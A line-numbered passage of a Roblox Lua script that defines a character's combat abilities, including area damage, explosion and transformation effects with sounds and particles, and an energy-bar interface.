1137 | targ.Image="rbxassetid://4834067" | |
1138 | targ.Size=UDim2.new(1,0,1,0) | |
1139 | cam.CameraType="Scriptable" | |
1140 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1141 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1142 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1143 | Targetting=true | |
1144 | RocketTarget=ZTarget | |
1145 | for i=1,Property do | |
1146 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
1147 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
1148 | swait() | |
1149 | end | |
1150 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
1151 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1152 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1153 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
1154 | end | |
1155 | Targetting=false | |
1156 | RocketTarget=nil | |
1157 | targetgui.Parent=nil | |
1158 | cam.CameraType="Custom" | |
1159 | end | |
1160 | end | |
1161 | debounce=Instance.new("BoolValue") | |
1162 | debounce.Name="DebounceHit" | |
1163 | debounce.Parent=hit.Parent | |
1164 | debounce.Value=true | |
1165 | game:GetService("Debris"):AddItem(debounce,Delay) | |
1166 | c=Instance.new("ObjectValue") | |
1167 | c.Name="creator" | |
1168 | c.Value=Player | |
1169 | c.Parent=h | |
1170 | game:GetService("Debris"):AddItem(c,.5) | |
1171 | CRIT=false | |
1172 | hitDeb=true | |
1173 | AttackPos=6 | |
1174 | end | |
1175 | end | |
1176 | ||
1177 | showDamage=function(Char,Dealt,du,Color) | |
1178 | m=Instance.new("Model") | |
1179 | m.Name=tostring(Dealt) | |
1180 | h=Instance.new("Humanoid") | |
1181 | h.Health=0 | |
1182 | h.MaxHealth=0 | |
1183 | h.Parent=m | |
1184 | c=Instance.new("Part") | |
1185 | c.Transparency=0 | |
1186 | c.Material = "Neon" | |
1187 | c.BrickColor=bc("New Yeller") | |
1188 | c.Name="Head" | |
1189 | c.TopSurface=0 | |
1190 | c.BottomSurface=0 | |
1191 | local tick = Instance.new("Sound",c) | |
1192 | tick.SoundId = "rbxassetid://12221976" | |
1193 | tick.Volume = 5 | |
1194 | tick.Pitch = 4 | |
1195 | tick:Play() | |
1196 | c.formFactor="Plate" | |
1197 | c.Size=Vector3.new(1,.4,1) | |
1198 | ms=Instance.new("CylinderMesh") | |
1199 | ms.Scale=Vector3.new(.8,.8,.8) | |
1200 | if CRIT==true then | |
1201 | ms.Scale=Vector3.new(1,1.25,1) | |
1202 | end | |
1203 | ms.Parent=c | |
1204 | c.Reflectance=0 | |
1205 | Instance.new("BodyGyro").Parent=c | |
1206 | c.Parent=m | |
1207 | if Char:findFirstChild("Head")~=nil then | |
1208 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1209 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
1210 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1211 | end | |
1212 | f=Instance.new("BodyPosition") | |
1213 | f.P=2000 | |
1214 | f.D=100 | |
1215 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1216 | f.position=c.Position+Vector3.new(0,3,0) | |
1217 | f.Parent=c | |
1218 | game:GetService("Debris"):AddItem(m,.5+du) | |
1219 | c.CanCollide=false | |
1220 | m.Parent=workspace | |
1221 | c.CanCollide=false | |
1222 | p:Destroy() | |
1223 | end | |
1224 | ||
1225 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
1226 | for _, c in pairs(workspace:children()) do | |
1227 | local hum = c:findFirstChild("Humanoid") | |
1228 | if hum ~= nil then | |
1229 | local head = c:findFirstChild("Torso") | |
1230 | if head ~= nil then | |
1231 | local targ = head.Position - Part.Position | |
1232 | local mag = targ.magnitude | |
1233 | if mag <= magni and c.Name ~= Player.Name then | |
1234 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
1235 | end | |
1236 | end | |
1237 | end | |
1238 | end | |
1239 | end | |
1240 | ||
1241 | function Explode(rad,par) | |
1242 | local expart = Instance.new("Part",script.Parent) | |
1243 | local expart2 = Instance.new("Part",script.Parent) | |
1244 | local partMesh = Instance.new("SpecialMesh",expart) | |
1245 | partMesh.MeshType = "Sphere" | |
1246 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1247 | partMesh2.MeshType = "Sphere" | |
1248 | local expld = Instance.new("Explosion", script.Parent) | |
1249 | local plode = Instance.new("Sound",expart) | |
1250 | plode.SoundId = "rbxassetid://165970126" | |
1251 | plode.Volume = 1 | |
1252 | plode.Pitch = 1 | |
1253 | plode.Looped = false | |
1254 | plode:Play() | |
1255 | expld.BlastRadius = rad | |
1256 | expld.Position = par.Position | |
1257 | partMesh.Scale = vt(rad,rad,rad) | |
1258 | expart.Size = vt(1,1,1)*1.5 | |
1259 | expart.Transparency = 0 | |
1260 | expart.Anchored = true | |
1261 | expart.Material = "Neon" | |
1262 | expart.BrickColor = bc("White") | |
1263 | expart.CFrame = par.CFrame | |
1264 | partMesh2.Scale = vt(rad,rad,rad) | |
1265 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1266 | expart2.Transparency = 0.5 | |
1267 | expart2.Anchored = true | |
1268 | expart2.Material = "Neon" | |
1269 | expart2.BrickColor = bc("New Yeller") | |
1270 | expart2.CFrame = par.CFrame | |
1271 | local value = 1*rad/6.5 | |
1272 | par:Destroy() | |
1273 | for i = 0, 100 do | |
1274 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1275 | expart.CFrame = expart.CFrame | |
1276 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1277 | expart2.CFrame = expart.CFrame | |
1278 | value = value - 0.035*rad/6.5 | |
1279 | if value < 1 then | |
1280 | value = 0.25 | |
1281 | expart.Transparency = expart.Transparency + 0.025 | |
1282 | expart2.Transparency = expart2.Transparency + 0.025 | |
1283 | end | |
1284 | wait() | |
1285 | end | |
1286 | plode.Parent = nil | |
1287 | expart.Parent = nil | |
1288 | expart2.Parent = nil | |
1289 | expld.Parent = nil | |
1290 | end | |
1291 | ||
1292 | function ExplodeMass(rad,par) | |
1293 | local expart = Instance.new("Part",script.Parent) | |
1294 | local expart2 = Instance.new("Part",script.Parent) | |
1295 | local partMesh = Instance.new("SpecialMesh",expart) | |
1296 | partMesh.MeshType = "Sphere" | |
1297 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1298 | partMesh2.MeshType = "Sphere" | |
1299 | local expld = Instance.new("Explosion", script.Parent) | |
1300 | local plode = Instance.new("Sound",workspace) | |
1301 | plode.SoundId = "rbxassetid://579687077" | |
1302 | plode.Volume = 1 | |
1303 | plode.Pitch = 0.85 | |
1304 | plode.Looped = false | |
1305 | plode:Play() | |
1306 | local plodez = Instance.new("Sound",workspace) | |
1307 | plodez.SoundId = "rbxassetid://288641686" | |
1308 | plodez.Volume = 1 | |
1309 | plodez.Pitch = 0.75 | |
1310 | plodez.Looped = false | |
1311 | plodez:Play() | |
1312 | local plodeza = Instance.new("Sound",workspace) | |
1313 | plodeza.SoundId = "rbxassetid://197161452" | |
1314 | plodeza.Volume = 0.85 | |
1315 | plodeza.Pitch = 0.65 | |
1316 | plodeza.Looped = false | |
1317 | plodeza:Play() | |
1318 | local plodezar = Instance.new("Sound",workspace) | |
1319 | plodezar.SoundId = "rbxassetid://197161452" | |
1320 | plodezar.Volume = 0.85 | |
1321 | plodezar.Pitch = 0.25 | |
1322 | plodezar.Looped = false | |
1323 | plodezar:Play() | |
1324 | expld.BlastRadius = rad | |
1325 | expld.Position = par.Position | |
1326 | wait(0.5) | |
1327 | par:Destroy() | |
1328 | plode.Parent = nil | |
1329 | expart.Parent = nil | |
1330 | expart2.Parent = nil | |
1331 | expld.Parent = nil | |
1332 | end | |
1333 | function ExplodeMassen(rad,par) | |
1334 | local expart = Instance.new("Part",script.Parent) | |
1335 | local expart2 = Instance.new("Part",script.Parent) | |
1336 | local partMesh = Instance.new("SpecialMesh",expart) | |
1337 | partMesh.MeshType = "Sphere" | |
1338 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1339 | partMesh2.MeshType = "Sphere" | |
1340 | local expld = Instance.new("Explosion", script.Parent) | |
1341 | local plode = Instance.new("Sound",workspace) | |
1342 | plode.SoundId = "rbxassetid://579687077" | |
1343 | plode.Volume = 1 | |
1344 | plode.Pitch = 0.85 | |
1345 | plode.Looped = false | |
1346 | plode:Play() | |
1347 | local plodez = Instance.new("Sound",workspace) | |
1348 | plodez.SoundId = "rbxassetid://288641686" | |
1349 | plodez.Volume = 1 | |
1350 | plodez.Pitch = 0.75 | |
1351 | plodez.Looped = false | |
1352 | plodez:Play() | |
1353 | local plodeza = Instance.new("Sound",workspace) | |
1354 | plodeza.SoundId = "rbxassetid://197161452" | |
1355 | plodeza.Volume = 0.85 | |
1356 | plodeza.Pitch = 0.65 | |
1357 | plodeza.Looped = false | |
1358 | plodeza:Play() | |
1359 | local plodezar = Instance.new("Sound",workspace) | |
1360 | plodezar.SoundId = "rbxassetid://197161452" | |
1361 | plodezar.Volume = 0.85 | |
1362 | plodezar.Pitch = 0.25 | |
1363 | plodezar.Looped = false | |
1364 | plodezar:Play() | |
1365 | expld.BlastRadius = rad | |
1366 | expld.Position = par.Position | |
1367 | partMesh.Scale = vt(rad,rad,rad) | |
1368 | expart.Size = vt(1,1,1)*1.5 | |
1369 | expart.Transparency = 0 | |
1370 | expart.Anchored = true | |
1371 | expart.Material = "Neon" | |
1372 | expart.BrickColor = bc("White") | |
1373 | expart.CFrame = par.CFrame | |
1374 | partMesh2.Scale = vt(rad,rad,rad) | |
1375 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1376 | expart2.Transparency = 0.5 | |
1377 | expart2.Anchored = true | |
1378 | expart2.Material = "Neon" | |
1379 | expart2.BrickColor = tors.BrickColor | |
1380 | expart2.CFrame = par.CFrame | |
1381 | local value = 1*rad/10 | |
1382 | par:Destroy() | |
1383 | for i = 0, 300 do | |
1384 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1385 | expart.CFrame = expart.CFrame | |
1386 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1387 | expart2.CFrame = expart.CFrame | |
1388 | value = value - 0.0175*rad/10 | |
1389 | if value <= 0 then | |
1390 | expart.Transparency = expart.Transparency + 0.0125 | |
1391 | expart2.Transparency = expart2.Transparency + 0.0125 | |
1392 | value = 0.25 | |
1393 | end | |
1394 | wait() | |
1395 | end | |
1396 | plode.Parent = nil | |
1397 | expart.Parent = nil | |
1398 | expart2.Parent = nil | |
1399 | expld.Parent = nil | |
1400 | end | |
1401 | local Ultramode = false | |
1402 | ||
1403 | function Transform() | |
1404 | if basiccooldown >= 5 then | |
1405 | hum.WalkSpeed = 0 | |
1406 | local sparta = Instance.new("Part",workspace) | |
1407 | local msher = Instance.new("SpecialMesh",sparta) | |
1408 | msher.MeshType = "Sphere" | |
1409 | msher.Scale = vt(1,1,1) | |
1410 | wit = BrickColor.new("Really black").Color | |
1411 | local glowz = Instance.new("ParticleEmitter") | |
1412 | glowz.LightEmission = 1 | |
1413 | glowz.Parent = sparta | |
1414 | glowz.Texture = "rbxassetid://284205403" | |
1415 | glowz.Color = ColorSequence.new(wit) | |
1416 | glowz.Size = NumberSequence.new(15) | |
1417 | glowz.Speed = NumberRange.new(100,250) | |
1418 | glowz.LockedToPart = false | |
1419 | glowz.Transparency = NumberSequence.new(0.75) | |
1420 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1421 | glowz.Lifetime = NumberRange.new(1) | |
1422 | glowz.Rate = 50000 | |
1423 | glowz.VelocitySpread = 9001 | |
1424 | local sa2 = Instance.new("Sound",sparta) | |
1425 | sa2.SoundId = "rbxassetid://93724183" | |
1426 | sa2.Pitch = 0.5 | |
1427 | sa2.Volume = 5 | |
1428 | sa2.Looped = false | |
1429 | sa2:Play() | |
1430 | local saz2 = Instance.new("Sound",sparta) | |
1431 | saz2.SoundId = "rbxassetid://199145659" | |
1432 | saz2.Pitch = 0.45 | |
1433 | saz2.Volume = 5*2 | |
1434 | saz2.Looped = false | |
1435 | local plode = Instance.new("Sound",sparta) | |
1436 | plode.SoundId = "rbxassetid://153274423" | |
1437 | plode.Volume = 5 | |
1438 | plode.Pitch = 1 | |
1439 | plode.Looped = false | |
1440 | local ploder = Instance.new("Sound",sparta) | |
1441 | ploder.SoundId = "rbxassetid://130972023" | |
1442 | ploder.Volume = 5 | |
1443 | ploder.Pitch = 1 | |
1444 | ploder.Looped = false | |
1445 | sparta.Size = vt(1,1,1) | |
1446 | sparta.BrickColor = BrickColor.new("Really black") | |
1447 | sparta.Material = "Neon" | |
1448 | sparta.Transparency = 0 | |
1449 | sparta.Anchored = true | |
1450 | sparta.CanCollide = false | |
1451 | sparta.CFrame = tors.CFrame | |
1452 | sparta.Rotation = vt(0,0,0) | |
1453 | local value2 = 2 | |
1454 | for i = 0, 24 do | |
1455 | value2 = value2 - 0.065 | |
1456 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1457 | wait() | |
1458 | end | |
1459 | for i = 0, 10 do | |
1460 | value2 = value2 + 0.06575 | |
1461 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1462 | wait() | |
1463 | end | |
1464 | for i = 0, 10 do | |
1465 | value2 = value2 - 0.2 | |
1466 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1467 | wait() | |
1468 | end | |
1469 | for i = 0, 10 do | |
1470 | value2 = value2 + 0.275 | |
1471 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1472 | wait() | |
1473 | end | |
1474 | for i = 0, 10 do | |
1475 | value2 = value2 - 0.4 | |
1476 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1477 | wait() | |
1478 | end | |
1479 | for i = 0, 10 do | |
1480 | value2 = value2 + 0.475 | |
1481 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1482 | wait() | |
1483 | end | |
1484 | for i = 0, 10 do | |
1485 | value2 = value2 - 0.6 | |
1486 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1487 | wait() | |
1488 | end | |
1489 | for i = 0, 10 do | |
1490 | value2 = value2 + 0.675 | |
1491 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1492 | wait() | |
1493 | end | |
1494 | for i = 0, 10 do | |
1495 | value2 = value2 - 0.7 | |
1496 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1497 | wait() | |
1498 | end | |
1499 | for i = 0, 10 do | |
1500 | value2 = value2 + 0.775 | |
1501 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1502 | wait() | |
1503 | end | |
1504 | saz2:Play() | |
1505 | wait(2.75) | |
1506 | plode:Play() | |
1507 | ploder:Play() | |
1508 | Ultramode = true | |
1509 | for i = 0, 75 do | |
1510 | value2 = value2 - 0.0575 | |
1511 | glowz.Rate = 0 | |
1512 | sparta.Transparency = sparta.Transparency + 0.025 | |
1513 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1514 | wait() | |
1515 | end | |
1516 | hum.WalkSpeed = 16 | |
1517 | sparta:Destroy() | |
1518 | end | |
1519 | end | |
1520 | ||
1521 | ||
1522 | function Blaze2() | |
1523 | if ultcooldown >= 30 then | |
1524 | local sloc = Instance.new("Part",workspace) | |
1525 | local msh = Instance.new("SpecialMesh",sloc) | |
1526 | msh.MeshType = "Sphere" | |
1527 | sloc.Size = vt(1,1,1) | |
1528 | sloc.Transparency = 1 | |
1529 | sloc.BrickColor = tors.BrickColor | |
1530 | sloc.Position = hed.Position + vt(0,0.1,0) | |
1531 | sloc.CanCollide = false | |
1532 | sloc.Shape = "Ball" | |
1533 | sloc.Anchored = true | |
1534 | sloc.Material = "Neon" | |
1535 | local s = Instance.new("Sound",char) | |
1536 | s.SoundId = "rbxassetid://289315275" | |
1537 | s.Pitch = 1 | |
1538 | s.Volume = 2.75 | |
1539 | s.Looped = false | |
1540 | s:Play() | |
1541 | local s2 = Instance.new("Sound",char) | |
1542 | s2.SoundId = "rbxassetid://671759140" | |
1543 | s2.Pitch = 0.425 | |
1544 | s2.Volume = 1 | |
1545 | s2.Looped = false | |
1546 | s2:Play() | |
1547 | local val = 0.65*5 | |
1548 | for i = 0 , 75 do | |
1549 | sloc.Transparency = sloc.Transparency - 0.035 | |
1550 | msh.Scale = msh.Scale + vt(val,val,val) | |
1551 | val = val - 0.0075*5 | |
1552 | wait() | |
1553 | end | |
1554 | wait(2) | |
1555 | local sen = Instance.new("Sound",char) | |
1556 | sen.SoundId = "rbxassetid://289315275" | |
1557 | sen.Pitch = 1 | |
1558 | sen.Volume = 2.75 | |
1559 | sen.Looped = false | |
1560 | sen:Play() | |
1561 | local tick = Instance.new("Sound",char) | |
1562 | tick.SoundId = "rbxassetid://446876721" | |
1563 | tick.Volume = 2.5 | |
1564 | tick.Pitch = 0.5 | |
1565 | tick:Play() | |
1566 | msh.Scale = msh.Scale - vt(1,1,1) | |
1567 | sloc.Transparency = sloc.Transparency + 0.015 | |
1568 | local spart = Instance.new("Part",workspace) | |
1569 | local msh2 = Instance.new("SpecialMesh",spart) | |
1570 | msh2.MeshType = "Sphere" | |
1571 | spart.Size = vt(2,2,2) | |
1572 | spart.Shape = "Ball" | |
1573 | spart.BrickColor = tors.BrickColor | |
1574 | spart.Material = "Neon" | |
1575 | spart.Transparency = 0 | |
1576 | spart.Anchored = false | |
1577 | msh2.Scale = msh.Scale/2 | |
1578 | spart.Rotation = hed.Rotation | |
1579 | spart.CanCollide = false | |
1580 | spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0)) | |
1581 | local bv = Instance.new("BodyVelocity") | |
1582 | bv.maxForce = Vector3.new(1e9, 1e9, 1e9) | |
1583 | bv.velocity = mouse.Hit.lookVector * 125 | |
1584 | bv.Parent = spart | |
1585 | sloc:Destroy() | |
1586 | wait(0.00001) | |
1587 | pewdiepie=spart.Touched:connect(function(hit) | |
1588 | ExplodeMassen(100,spart) | |
1589 | end) | |
1590 | wait(5) | |
1591 | sloc:Destroy() | |
1592 | tick:Destroy() | |
1593 | s:Destroy() | |
1594 | sen:Destroy() | |
1595 | s2:Destroy() | |
1596 | end | |
1597 | if ultcooldown < 1 then | |
1598 | for i = 0, 29 do | |
1599 | ultcooldown = ultcooldown + 1 | |
1600 | wait(1) | |
1601 | end | |
1602 | end | |
1603 | end | |
1604 | ||
1605 | function Blaze() | |
1606 | if ultcooldown >= 30 then | |
1607 | local ff = Instance.new("ForceField",char) | |
1608 | local s = Instance.new("Sound",char) | |
1609 | s.SoundId = "rbxassetid://289315275" | |
1610 | s.Pitch = 1 | |
1611 | s.Volume = 2.75 | |
1612 | s.Looped = false | |
1613 | s:Play() | |
1614 | local s2 = Instance.new("Sound",char) | |
1615 | s2.SoundId = "rbxassetid://671759140" | |
1616 | s2.Pitch = 0.425 | |
1617 | s2.Volume = 1 | |
1618 | s2.Looped = false | |
1619 | s2:Play() | |
1620 | local spart = boll:Clone() | |
1621 | local spart2 = shur:Clone() | |
1622 | local msh = Instance.new("SpecialMesh",spart) | |
1623 | msh.MeshType = "Sphere" | |
1624 | spart.Parent = workspace | |
1625 | spart.Transparency = 1 | |
1626 | spart.Anchored = true | |
1627 | spart.Position = tors.Position + vt(0,1,0) | |
1628 | spart.Size = spart.Size + vt(1,1,1) | |
1629 | for i = 0, 10 do | |
1630 | spart.BrickColor = tors.BrickColor | |
1631 | spart.Transparency = spart.Transparency + -0.05 | |
1632 | spart.Position = tors.Position + vt(0,1,0) | |
1633 | spart.Size = spart.Size + vt(3,3,3) | |
1634 | wait(0) | |
1635 | end | |
1636 | for i = 0, 5 do | |
1637 | spart.BrickColor = tors.BrickColor | |
1638 | spart.Transparency = spart.Transparency + -0.05 | |
1639 | spart.Position = tors.Position + vt(0,1,0) | |
1640 | spart.Size = spart.Size + vt(2.5,2.5,2.5) | |
1641 | wait(0) | |
1642 | end | |
1643 | for i = 0, 5 do | |
1644 | spart.BrickColor = tors.BrickColor | |
1645 | spart.Transparency = spart.Transparency + -0.05 | |
1646 | spart.Position = tors.Position + vt(0,1,0) | |
1647 | spart.Size = spart.Size + vt(1,1,1) | |
1648 | wait(0) | |
1649 | end | |
1650 | for i = 0, 10 do | |
1651 | spart.BrickColor = tors.BrickColor | |
1652 | wait(0.1) | |
1653 | end | |
1654 | for i = 0, 20 do | |
1655 | spart.BrickColor = tors.BrickColor | |
1656 | spart.Transparency = spart.Transparency + 0.05 | |
1657 | spart.Position = tors.Position + vt(0,1,0) | |
1658 | spart.Size = spart.Size + vt(-5,-5,-5) | |
1659 | wait(0) | |
1660 | end | |
1661 | local sp = spart:Clone() | |
1662 | sp.Parent = workspace | |
1663 | sp.Position = spart.Position | |
1664 | local sp2 = sp:Clone() | |
1665 | sp2.Parent = workspace | |
1666 | sp2.Transparency = 0.5 | |
1667 | local msh2 = sp2.Mesh | |
1668 | msh2.Scale = vt(1250,1250,1250) | |
1669 | wit = tors.BrickColor.Color | |
1670 | local glowz = Instance.new("ParticleEmitter") | |
1671 | glowz.LightEmission = 0.75 | |
1672 | glowz.Parent = sp2 | |
1673 | glowz.Texture = "rbxassetid://284205403" | |
1674 | glowz.Color = ColorSequence.new(wit) | |
1675 | glowz.Size = NumberSequence.new(50) | |
1676 | glowz.Speed = NumberRange.new(425,450) | |
1677 | glowz.LockedToPart = false | |
1678 | glowz.Transparency = NumberSequence.new(0.75) | |
1679 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1680 | glowz.Lifetime = NumberRange.new(1) | |
1681 | glowz.Rate = 50000 | |
1682 | glowz.VelocitySpread = 9001 | |
1683 | spart2.Parent = workspace | |
1684 | spart2.Mesh.Scale = vt(25, 90000, 25) | |
1685 | spart2.Position = tors.Position | |
1686 | local seen = Instance.new("Sound",char) | |
1687 | seen.SoundId = "rbxassetid://445796828" | |
1688 | seen.Pitch = 0.75 | |
1689 | seen.Volume = 1.75 | |
1690 | seen.Looped = true | |
1691 | seen:Play() | |
1692 | local sen = Instance.new("Sound",char) | |
1693 | sen.SoundId = "rbxassetid://289315275" | |
1694 | sen.Pitch = 0.98 | |
1695 | sen.Volume = 2.65 | |
1696 | sen.Looped = false | |
1697 | sen:Play() | |
1698 | local tick = Instance.new("Sound",char) | |
1699 | tick.SoundId = "rbxassetid://446876721" | |
1700 | tick.Volume = 5 | |
1701 | tick.Pitch = 0.5 | |
1702 | tick:Play() | |
1703 | local seena = Instance.new("Sound",char) | |
1704 | seena.SoundId = "rbxassetid://300916057" | |
1705 | seena.Pitch = 0.5 | |
1706 | seena.Volume = 2.5 | |
1707 | seena.Looped = false | |
1708 | seena:Play() | |
1709 | spart.Transparency = 0 | |
1710 | ExplodeMass(1000,sp) | |
1711 | for i = 0, 450 do | |
1712 | spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1)) | |
1713 | sp2.Position = spart.Position | |
1714 | spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035) | |
1715 | spart2.BrickColor = tors.BrickColor | |
1716 | msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5) | |
1717 | msh.Scale = msh.Scale + vt(50,50,50) | |
1718 | sp2.Transparency = sp2.Transparency + 0.0005 | |
1719 | spart.Transparency = spart.Transparency + 0.0025 | |
1720 | spart2.Transparency = spart2.Transparency + 0.0025 | |
1721 | wait(0) | |
1722 | end | |
1723 | spart:Destroy() | |
1724 | seena:Destroy() | |
1725 | ff:Destroy() | |
1726 | seen:Destroy() | |
1727 | sen:Destroy() | |
1728 | tick:Destroy() | |
1729 | spart2:Destroy() | |
1730 | s:Destroy() | |
1731 | sp:Destroy() | |
1732 | sp2:Destroy() | |
1733 | s2:Destroy() | |
1734 | end | |
1735 | if ultcooldown < 1 then | |
1736 | for i = 0, 29 do | |
1737 | ultcooldown = ultcooldown + 1 | |
1738 | wait(1) | |
1739 | end | |
1740 | end | |
1741 | end | |
1742 | ||
1743 | -- sin | |
1744 | Player=game:GetService("Players").LocalPlayer | |
1745 | Character=Player.Character | |
1746 | PlayerGui=Player.PlayerGui | |
1747 | Backpack=Player.Backpack | |
1748 | Torso=Character.Torso | |
1749 | Head=Character.Head | |
1750 | Humanoid=Character.Humanoid | |
1751 | m=Instance.new('Model',Character) | |
1752 | LeftArm=Character["Left Arm"] | |
1753 | LeftLeg=Character["Left Leg"] | |
1754 | RightArm=Character["Right Arm"] | |
1755 | RightLeg=Character["Right Leg"] | |
1756 | LS=Torso["Left Shoulder"] | |
1757 | LH=Torso["Left Hip"] | |
1758 | RS=Torso["Right Shoulder"] | |
1759 | RH=Torso["Right Hip"] | |
1760 | Face = Head.face | |
1761 | Neck=Torso.Neck | |
1762 | it=Instance.new | |
1763 | attacktype=1 | |
1764 | vt=Vector3.new | |
1765 | cf=CFrame.new | |
1766 | euler=CFrame.fromEulerAnglesXYZ | |
1767 | angles=CFrame.Angles | |
1768 | cloaked=false | |
1769 | necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1770 | necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1771 | LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0) | |
1772 | LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0) | |
1773 | RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0) | |
1774 | RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0) | |
1775 | RootPart=Character.HumanoidRootPart | |
1776 | RootJoint=RootPart.RootJoint | |
1777 | RootCF=euler(-1.57,0,3.14) | |
1778 | attack = false | |
1779 | attackdebounce = false | |
1780 | deb=false | |
1781 | equipped=true | |
1782 | hand=false | |
1783 | MMouse=nil | |
1784 | combo=0 | |
1785 | mana=0 | |
1786 | trispeed=1 | |
1787 | pathtrans=.7 | |
1788 | attackmode='none' | |
1789 | local idle=0 | |
1790 | local Anim="Idle" | |
1791 | local Effects={} | |
1792 | local gun=false | |
1793 | local shoot=false | |
1794 | player=nil | |
1795 | cloak=false | |
1796 | lightcolor='Bright blue' | |
1797 | ||
1798 | local Color1=BrickColor.new("Royal purple") | |
1799 | ||
1800 | local fengui=it("GuiMain") | |
1801 | fengui.Parent=Player.PlayerGui | |
1802 | fengui.Name="WeaponGUI" | |
1803 | local fenframe=it("Frame") | |
1804 | fenframe.Parent=fengui | |
1805 | fenframe.BackgroundColor3=Color3.new(255,255,255) | |
1806 | fenframe.BackgroundTransparency=1 | |
1807 | fenframe.BorderColor3=Color3.new(17,17,17) | |
1808 | fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0) | |
1809 | fenframe.Position=UDim2.new(0.4,0,0.1,0) | |
1810 | local fenbarmana1=it("TextLabel") | |
1811 | fenbarmana1.Parent=fenframe | |
1812 | fenbarmana1.Text=" " | |
1813 | fenbarmana1.BackgroundTransparency=0 | |
1814 | fenbarmana1.BackgroundColor3=Color3.new(0,0,0) | |
1815 | fenbarmana1.SizeConstraint="RelativeXY" | |
1816 | fenbarmana1.TextXAlignment="Center" | |
1817 | fenbarmana1.TextYAlignment="Center" | |
1818 | fenbarmana1.Position=UDim2.new(0,0,0,0) | |
1819 | fenbarmana1.Size=UDim2.new(4,0,0.2,0) | |
1820 | local fenbarmana2=it("TextLabel") | |
1821 | fenbarmana2.Parent=fenframe | |
1822 | fenbarmana2.Text=" " | |
1823 | fenbarmana2.BackgroundTransparency=0 | |
1824 | fenbarmana2.BackgroundColor3=Torso.Color | |
1825 | fenbarmana2.SizeConstraint="RelativeXY" | |
1826 | fenbarmana2.TextXAlignment="Center" | |
1827 | fenbarmana2.TextYAlignment="Center" | |
1828 | fenbarmana2.Position=UDim2.new(0,0,0,0) | |
1829 | fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0) | |
1830 | local fenbarmana3=it("TextLabel") | |
1831 | fenbarmana3.Parent=fenframe | |
1832 | fenbarmana3.Text=" " | |
1833 | fenbarmana3.BackgroundTransparency=0 | |
1834 | fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3) | |
1835 | fenbarmana3.SizeConstraint="RelativeXY" | |
1836 | fenbarmana3.TextXAlignment="Center" | |
1837 | fenbarmana3.TextYAlignment="Center" | |
1838 | fenbarmana3.Position=UDim2.new(0,0,0,0) | |
1839 | fenbarmana3.Size=UDim2.new(0,0,0.2,0) | |
1840 | local fenbarmana4=it("TextLabel") | |
1841 | fenbarmana4.Parent=fenframe | |
1842 | fenbarmana4.Text="Energy("..mana..")" | |
1843 | fenbarmana4.BackgroundTransparency=1 | |
1844 | fenbarmana4.BackgroundColor3=Color3.new(0,0,0) | |
1845 | fenbarmana4.SizeConstraint="RelativeXY" | |
1846 | fenbarmana4.TextXAlignment="Center" | |
1847 | fenbarmana4.TextYAlignment="Center" | |
1848 | fenbarmana4.Position=UDim2.new(0,0,-0.3,0) | |
1849 | fenbarmana4.Size=UDim2.new(4,0,0.2,0) | |
1850 | fenbarmana4.FontSize="Size9" | |
1851 | fenbarmana4.TextStrokeTransparency=0 | |
1852 | fenbarmana4.TextColor=BrickColor.new("White") | |
1853 | ||
